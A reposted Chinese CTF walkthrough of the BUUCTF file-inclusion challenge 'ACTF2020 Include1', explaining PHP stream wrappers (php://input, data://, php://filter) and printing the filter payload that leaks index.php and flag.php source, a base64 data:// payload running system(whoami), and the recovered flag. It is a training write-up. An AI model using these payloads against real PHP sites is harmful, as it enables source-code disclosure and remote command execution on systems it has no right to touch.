返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >[ACTF2020 新生赛]Include1
  • 599
分享到

[ACTF2020 新生赛]Include1

开发语言vscode 2023-09-03 21:09:25 599人浏览 泡泡鱼
摘要

题目:[ACTF2020 新生赛]Include1 题目来源:buuctf 过程分析: 1、首先看到一个tips,我们打开看看 然后从题目我们知道这个是一个文件包含题,对文件进行PHP伪协议检测 伪协议 php://input

题目:[ACTF2020 新生赛]Include1

题目来源:buuctf

过程分析:

1、首先看到一个tips,我们打开看看

然后从题目我们知道这个是一个文件包含题,对文件进行PHP伪协议检测


伪协议

php://input:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。条件:    php <5.0 ,allow_url_include=Off 情况下也可以用    php > 5.0,只有在allow_url_fopen=On 时才能使用例:    Http://localhost/include/file.php?file=php://input     //URL    ")?>  //POST,创建一个文件a.php;并写入phpinfodata://:将原本的include的文件流重定向到了用户可控制的输入流中条件:    allow_url_include=On    php > 5.2例:    http://localhost/file.php?file=data:text/plain;base64,PD9waHAGC3lzdGVtKHdob2FtaSk/Pg==      //base64加密<?php system(whoami);?>;直接执行命令    http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过例:    http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneWord    //可以跟绝对路径也可以跟相对路径    http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt   //远程路径防御:    尽量使用安全版本的php    做好php的安全配置    对相应目录做相应权限设置

使用input伪协议会被检车会被过滤,我们换一种filter读取源代码

?file=php://filter/read=convert.base64-encode/resource=index.php

 

工具将伪代码解码就得到文件源码了

tips';}?>

input伪协议是被过滤了,我们再用filter伪协议去读取flag.php文件

?file=php://filter?read=convert.base64-encode/resource=flag.php

 再用base64工具解码就得到flag了

flag{eba8550a-7871-47ae-b101-232fdb610777}

来源地址:https://blog.csdn.net/weixin_64160292/article/details/123865805

--结束END--

本文标题: [ACTF2020 新生赛]Include1

本文链接: https://lsjlt.com/news/392819.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • [ACTF2020 新生赛]Include1
    题目:[ACTF2020 新生赛]Include1 题目来源:buuctf 过程分析: 1、首先看到一个tips,我们打开看看 然后从题目我们知道这个是一个文件包含题,对文件进行php伪协议检测 伪协议 php://input...
    99+
    2023-09-03
    开发语言 vscode
  • [ACTF2020 新生赛]BackupFile
    目录 信息收集 思路 构造payload 知识补充 信息收集 从题目来看应该是让扫描备份文件(backupfile)  进入页面就一句话 Try to find out source file! 先用dirbuster模糊扫描一...
    99+
    2023-09-21
    php web安全 网络安全
  • [ACTF2020 新生赛]Upload 1
    打开链接,发现一个小灯泡,鼠标放上去会显示内容 这是一个文件上传题,当上传php等文件时,会提示: 使用burp suite抓包绕过,发现php、php3、php4、php5等都不...
    99+
    2023-09-05
    php 服务器 前端
  • 【BUUCTF刷题记录】[ACTF2020新生赛]Exec
    打开靶场,看到一个输入框,标题已经提示是command execution。 1. 首先输入111|ls 发现文件index.php   2. 打开文件index.php,构造payload:111|cat index.php,右击查看网...
    99+
    2023-09-13
    php 开发语言 web安全
  • [ACTF2020 新生赛]Include 1【文件包含漏洞】
    题目简介 题目名称:[ACTF2020 新生赛]Include 1题目平台:BUUCTF题目类型:Web考察知识点: 文件包含漏洞 解题步骤 启动并访问靶机,主页只有一个tips连接,我们访问该...
    99+
    2023-09-21
    CTF BUUCTF WEB
  • SWPUCTF 2021 新生赛
    😋大家好,我是YAy_17,是一枚爱好网安的小白,自学ing。  本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️。 ⭐️此后如竟没有炬火,我便是唯一的光。⭐️ 目录 gift_F12 j...
    99+
    2023-09-25
    php web安全 学习 网络安全 安全
  • [SWPUCTF 2021 新生赛]easyupload1.0
    看到这个你先上个一句话木马以图片的方式去上传 首先你得知道我们的目的是什么 取值flag 。这边我们看到成功上传 看的不是很仔细 bure 找...
    99+
    2023-08-31
    php 开发语言 Powered by 金山文档
  • [SWPUCTF 2021 新生赛]PseudoProtocols
    [SWPUCTF 2021 新生赛]PseudoProtocols 一、题目 二、WP 1、打开题目,发现提示我们是否能找到hint.php,并且发现URL有参数wllm。所以我们尝试利用PHP伪协...
    99+
    2023-10-01
    php web安全
  • [SWPUCTF 2021 新生赛]hardrce_3
    打开环境,审计代码。 逻辑本身不是很复杂,就是不准异或取反,且不能有字母数字,所以考虑用自增。 payload: //测试发现7.0.12以上版本不可使用//使用时需要url编码下$_=[];$_=@"$_";$_=$_['!'=='@'...
    99+
    2023-09-30
    php 开发语言 web安全
  • [SWPUCTF 2021 新生赛]easy_md5
    md5绕过 弱类型比较 由于php中存在==的弱类型比较,所以我们可以通过hash比较的缺陷去绕过 比如: var_dump("0e12345"=="0e66666");//truevar_dump(...
    99+
    2023-10-11
    php 安全 开发语言
  • [SWPUCTF 2021 新生赛]babyrce(详解)
    提示:没有提示 文章目录 前言一、pandas是什么?二、使用步骤 1.引入库2.读入数据总结 前言 最近遇到的事太霉了,又是做到一半,靶机拒绝连接我,搞得我做题都不自信了 回到正文 题目 如下(示例):  小...
    99+
    2023-10-10
    php web
  • SWPUCTF 2022新生赛 web部分wp
    😋大家好,我是YAy_17,是一枚爱好网安的小白。 本人水平有限,欢迎各位大佬指点,一起学习💗,一起进步⭐️。⭐️此后如竟没有炬火,我便是唯一的光。⭐️ 目录 [SWPUCTF 2022 新生赛]ez_ez...
    99+
    2023-09-06
    前端 php 服务器 学习 安全
  • CTF笔记 [SWPUCTF 2021 新生赛]pop
    文章目录 一些常见魔术方法[SWPUCTF 2021 新生赛]pop总结 这一类题目比较考验对一段代码的逻辑方面的理解,通过利用魔数方法进行互相调用,形成一条链子,利用这条链子将对象...
    99+
    2023-09-04
    php 开发语言
  • [SWPUCTF] 2021新生赛之(NSSCTF)刷题记录 ①
    [SWPUCTF] 2021 新生赛(NSSCTF刷题记录wp) [SWPUCTF 2021 新生赛]gift_F12[第五空间 2021]签到题[SWPUCTF 2021 新生赛]jicao...
    99+
    2023-08-31
    NSSCTF 刷题记录wp FLAG Web PHP
  • 2022 SWPU新生赛&HNCTF web部分题目
    目录 SWPU (1) webdog1__start (2) ez_ez_php(revenge) (3) 1z_unserialize (4) ez_1zpop (5) numgame (6) Crypto 爆破MD5 HNCTF [...
    99+
    2023-09-09
    php web安全
  • SWPU NSS新生赛校外通道(部分WP)
    ez_sql:  首先我们进入环境,会发现给了如下提示 提示让我们相对安全的方式传参,所以使用POST方式传,然后参数是nss,之后我们先试试nss=1,会返回给我们两个flag  显然这两个flag都是假的flag,但是天真的我还是去...
    99+
    2023-09-23
    数据库 网络安全 安全 web安全 php
  • 萌新赛(NewStar)
    如有侵权,请联系我,立即删除。  最近的这个“萌新”,赛感觉很有必要记录一下。 目录 Word-For-You(2 Gen)  IncludeOne UnserializeOne ezAPI 第三周 multiSQL IncludeTwo ...
    99+
    2023-10-26
    php
  • XSCTF联合招新赛-热身赛(部分WP)
    由于没有多少时间答题,抽空在划水的时候做了一两道题目.比赛已经结束了24小时了。特把写的WP分享一下,欢迎各位大佬进行指点。 文章目录 warm_up头头是道B45364EZphpeas...
    99+
    2023-09-05
    php 开发语言
  • 大学生竞赛指南
    CSDN话题挑战赛第1期 活动详情地址:https://marketing.csdn.net/p/bb5081d88a77db8d6ef45bb7b6ef3d7f 参赛话题:大学生竞赛指南 话题描述:...
    99+
    2023-10-12
    职场和发展 twitter 程序人生
  • Python中怎么生成马赛克画
    这篇文章给大家介绍Python中怎么生成马赛克画,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。这里load_all_images函数的参数就是统一后的尺寸,tile_row和tile_col分别对应高和宽。下面的代码对...
    99+
    2023-06-17
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作